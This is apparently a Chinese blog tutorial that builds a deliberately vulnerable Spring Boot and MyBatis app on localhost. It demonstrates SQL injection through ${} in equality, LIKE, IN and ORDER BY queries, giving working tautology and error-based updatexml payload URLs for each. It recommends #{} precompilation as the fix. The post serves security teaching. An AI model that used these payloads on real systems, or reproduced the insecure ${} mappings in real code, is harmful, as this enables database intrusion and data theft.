• [Java安全]—Mybatis注入


    前言

    Mybatis注入留在了Spring后,因为感觉用Spring搭建web端后再进行注入比较贴合实际一些。

    测试环境

    Mysql:5.7

    Springboot:2.1

    mybatis:3.5

    数据库

    创建了一个测试用的数据库Mybatis

    CREATE DATABASE /*!32312 IF NOT EXISTS*/`mybatis` /*!40100 DEFAULT CHARACTER SET utf8 */;
    
    USE `mybatis`;
    
    -- ----------------------------
    -- Table structure for users
    -- ----------------------------
    DROP TABLE IF EXISTS `users`;
    CREATE TABLE `users`  (
      `uid` int(10) NOT NULL AUTO_INCREMENT,
      `uname` varchar(10) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
      `uage` int(10) NULL DEFAULT NULL,
      PRIMARY KEY (`uid`) USING BTREE
    ) ENGINE = MyISAM AUTO_INCREMENT = 4 CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
    
    -- ----------------------------
    -- Records of users
    -- ----------------------------
    INSERT INTO `users` VALUES (1, 'Sentiment', 20);
    INSERT INTO `users` VALUES (2, 'Shelter', 20);
    INSERT INTO `users` VALUES (3, 'Tana', 18);
    
    

    在这里插入图片描述

    SQL注入的四种方式

    这里用的Springboot环境,配置文件较多,先放出关键文件,最终项目放在后边

    #{}和${}

    接口

    List<User> selectOne(@Param("uname") String uname);
    

    配置

    <select id="selectOne" resultType="user">
        select * from users where uname = '${uname}'
    select>
    

    测试

    @GetMapping("/inject/1")
    @ResponseBody
    public List<User> selectOne(@RequestParam("uname") String uname) {
        return userService.selectOne(uname);
    }
    

    执行语句是select * from users where uname = '${uname}',所以这里就可以直接联想到单引号闭合即可,所以用万能密码1’ or ‘1’='1进行测试

    http://127.0.0.1:8080/inject/1?uname=1' or '1'='1
    

    在这里插入图片描述

    发现成功注入,但是如果将${}换成#{}后则会报错无法执行,原因在于:#{}相当于是进行了预编译的方式,所以就有效的避免了sql注入问题

    模糊查询

    这里在前篇提到过模糊查询的三种方式

    select * from t_user where username like '%${mohu}%'
    select * from t_user where username like "%"#{mohu}"%"
    select * from t_user where username like concat('%',#{mohu},'%')
    

    可以看到第二条中,"%"#{mohu}"%"预编译前后的%是独立出来的,而写成'%#{mohu}%'这种形式,预编译时就会将%当做字符来处理从而报错,此时若经验不足将#改成了$即:'%${mohu}%',就会导致SQL注入问题

    接口

    String selectTwo(@Param("uname") String uname);
    

    配置

    <select id="selectTwo" resultType="user">
        select * from users where uname like '%${uname}%'
    </select>
    

    测试

    这里由于换了查询方式就无法在使用万能密码获取数据,所以这里将返回类型改为了String,这样就可以通过报错信息来获取我们注入的内容

    @GetMapping("/inject/2")
    @ResponseBody
    public String selectTwo(@RequestParam("uname") String uname) {
        try {
            return userService.selectTwo(uname);
        }catch (Throwable e){
            return e.toString();
        }
    }
    
    http://127.0.0.1:8080/inject/2?uname=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    

    在这里插入图片描述

    
    

    In查询

    当查询语句有in是,只需要将in后的内容进行闭合即可绕过

    配置

    <select id="selectThree" resultType="user">
        select * from users where uid in (${uid})
    select>
    

    其他内容都跟模糊查询一样就不贴了

    http://127.0.0.1:8080/inject/3?uid=1)  or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
    

    在这里插入图片描述

    order by注入

    和in查询原理基本相同

    <select id="selectFour" resultType="user">
        select * from users order by ${uid}
    select>
    
    http://127.0.0.1:8080/inject/4?uid=1 and(updatexml(1,concat(0x7e,(select database())),0));
    

    在这里插入图片描述

    综上情况来看,要避免mybatis的注入问题,其实最好的方式就是使用预编译方式

    项目文件

    链接:https://pan.baidu.com/s/1B3Ui-KeGL001JVgFjs9l5g?pwd=1axd 
    提取码:1axd
    

    java -jar mybatis.jar 运行即可

    在这里插入图片描述

  • 相关阅读:
    算法与数据结构【30天】集训营——图的应用之最小生成树、最短路径、拓扑排序、关键路径(29)
    【JAVA进阶篇教学】第三篇:JDK8中Stream API使用
    不会吧,都2023年了你还不会JavaStream?
    Vue核心 Vue生命周期
    人工智能职业教育怎么搞?操作系统层级的解法来了
    解决Redis缓存穿透(缓存空对象、布隆过滤器)
    Nacos注册中心细节分析
    IPhone无法usb线共享网络给windows电脑的常规解决办法
    基于视觉重定位的室内AR导航APP的大创项目思路(2):改进的项目思路——建图和定位分离
    C语言中常用的字符串处理函数(strlen、strcpy、strcat、strcmp)
  • 原文地址:https://blog.csdn.net/weixin_54902210/article/details/127117638